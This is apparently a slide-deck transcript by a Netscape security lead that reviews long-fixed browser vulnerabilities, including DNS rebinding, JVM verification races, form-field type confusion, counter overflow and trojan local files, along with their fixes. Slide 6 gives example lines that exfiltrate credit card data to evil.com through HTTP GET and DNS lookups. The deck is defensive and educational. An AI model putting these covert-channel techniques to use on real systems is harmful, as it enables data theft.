Attacks Against the Netscape Browser

1. Attacks Against the Netscape Browser Jim Roskind, PhD VP, Chief Technical Officer AOL Products America Online Inc.

2. Introduction Attacks listed have long since been fixed. …but techniques seem to last forever History forgotten, is doomed to be repeated. Open source policy suggested additional disclosure… and here I am.

3. Who is Jim Roskind? • Started doing Java security work on Navigator in November 1995 • Participated in most security firedrill responses to date • Worked as Java Security Architect, developing signed code methodology

4. What is an Attack? • Data on a computer is taken without permission • Viewing history file, prefs, directory structure • Extreme: Client computer runs attacker’s binary code (a Very Bad ThingTM) • Minor attack would involve revealing a file’s existence

5. What isn’t an Attack? • Denial of service • Too easy for user to terminate or avoid • Too hard to tell where a jpeg decoding is in progress • It is very hard to stop a Java thread • Threads can catch exceptions, and start new threads :-(

6. Covert Channels: Getting the info Home to evil.com • Connect home via http get • get www.evil.com/goodies?CreditCard… • Let DNS lookup carry the info • get IP for creditCard5551212.goodies.evil.com • Covert channels will always exist

7. DNS (Domain Name Service) • Java applets can traditionally only “phone home” • JS can read content from similarly sourced pages and frames • What is the definition of home? • Applet sourced from www.evil.com • Can the applet contact www.evil.com? • What exactly is www.evil.com?

8. DNS: Names to IP address • DNS Supports multiple IP addresses for a single name • Are all such IPs equivalent?? • DNS is dynamic • The mapping is time varying! • Is the new IP equivalent to the old IP??

9. Can you trust DNS info? browser user.victim.com 1.2.3.7 www.evil.com 6.6.6.666 1.2.3.4 target.victim.com 1.2.3.4 firewall

10. First time, DNS is truthful browser Get www.evil.com user.victim.com 1.2.3.7 www.evil.com 6.6.6.666 target.victim.com 1.2.3.4 firewall

11. Second time, DNS misdirects browser Get www.evil.com user.victim.com 1.2.3.7 www.evil.com 1.2.3.4 target.victim.com 1.2.3.4 firewall

12. DNS False Advertising • “Real” problem is that DNS info arrived from *outside* containing intranet IP numbers • Firewall should stop such propagation • Browser fix: Permanently cache exactly one IP after a single lookup • Not friendly to dynamic internet… but safe

13. Lesson Relearned: Composition of Safe systems can be unsafe • DNS False advertising does not require a compromise of DNS infrastructure • Don’t assume the world around is fixed and unchanging • DNS had dynamic nature that was NOT conceptually obvious

14. Class Verification in JVM • Load a class • Work out inheritance and overloading • Initialize Vtables while working • Vtables are used to call “methods” • Load referenced classes • Causes recursion sometimes • Verify legal calling and arguments • Mark class as Verified

15. Class Verification in JVM • Bug was reported that “method dispatch” was causing a “null pointer” exception • This meant vtable used before being initialized! • This meant dispatch before verification • Problem was in “recursion” handling

16. Multithreaded JVM Class verification is not easy • Class A refers to Class B, and vice versa • Thread 1 starts using class A • Thread 2 starts using class B • Thread 1 starts verifying A, thread 2 starts verifying B • When is verification done? ;-)

17. Multithreaded apps are everywhere • Two applets on a page is actually what surfaced this problem • Reporters of this bug did not mention (or realize) that their app had run on multiple threads

18. Lesson Relearned: Security fundamental functions, such as class verification, need a LOT of review • Independent work caused rewrite of this code • Class verification is hard

19. Page Reloading with Old State • Enter text in a form • Follow a link • Press back • Your original text is restored into form

20. Initial value in forms can be dangerous • Initial values for “text” fields are safe, common and helpful • Prefill fields to save user typing • Initial value for “file” fields are dangerous • A file field specifies file to upload (send? Steal?) to the server

21. JavaScript: The “cache” is not always what it used to be • JS can create a page anew at each load • On first load, a field is a text field • On second load, the “same”(?) field is a file field • JS loads text field, traverses, “goes back,” reloads, and does the submit. • Be careful to mark the field “types” in saved data!

22. Lesson Relearned: Adding new features (JS) can break old security • Original implementation has reasonable assumptions • If it is in the cache, it must still be the same value… right?? • Browsers are very complex beasts when security is contemplated • Adding JS changed all the rules

23. How many Atoms in our Universe? • Atom is a spelling of a var or func name • JVM *had* 2^16 possible atom numbers • Who would use more than that many names? • Attacker overran counter, and it wrapped • “Verified classes” no longer called the intended method :-/

24. Controlling the number of atoms in the universe • Proper solution came much later • Max count pushed to 2^32 (or higher?) • Bounds checking was added • Short term Navigator solution: abort when atom table exhausted! • Zero reported defects from this hack solution!

25. Lesson relearned: Static limits are evil • There is more to overrun than string buffers! • If there is a limit, it must be checked

26. Trojan file landing locally • JS needs to interact with pages from the same “site” (codebase?) • Java needs to contact the home site (codebase?) • What can local JS and class files do? • Answer: Access other “local” content • Developers use this feature extensively

27. Trojan content may land in existing files • Cookies file contains contents supplied by server • Cookies can “look like” HTML and JS

28. If they can’t find local content, they can’t (ab)use it • Don’t let server know where content lands • “default” user was all too common • prefs.js file? Bookmarks file? Cookies file? • Make it hard to guess where user files are kept (Netscape 6/Mozilla technique) • Add poison to many files

29. Lesson Relearned: Try to formulate and publicize security requirements • The fact that it should be “hard” to guess locations of files is not well publicized • 3rd party content should not know where it lands • Dependencies on “public don’ts” make it hard to maintain security • Example: Don’t write down your password! • Example: Don’t reuse a password

30. Escaping HTML • Classic Server side App Flaw • To display “<“ use “@lt;” etc. • 3rd Party content must be escaped • Raw content simulates JS, and accesses cookies etc. etc. etc. • News groups? Chat? URL not found?

31. Client side HTML Escaping • Most displays appear in “local” context • about:global • about:cache • Content tags in incoming email! • Escape, escape, escape

32. Lesson Relearned: Apply attack techniques to different environments • Attacks on server must be studied • That’s why it was worth mentioning the attack technique here ;-)

33. Summary: Penetrate and Patch is a large part of real systems • A browser is a very complex system • To date, I don’t know of any “in the wild” exploits being used • Either we’re doing well, or our head is in the sand

34. Netscape is Always working to improve security • Send in security reports http://help.netscape.com/forms/bug-security.html • Bugs bounty program of $1000 still in place • You even get a T-Shirt ;-)

35. Q & A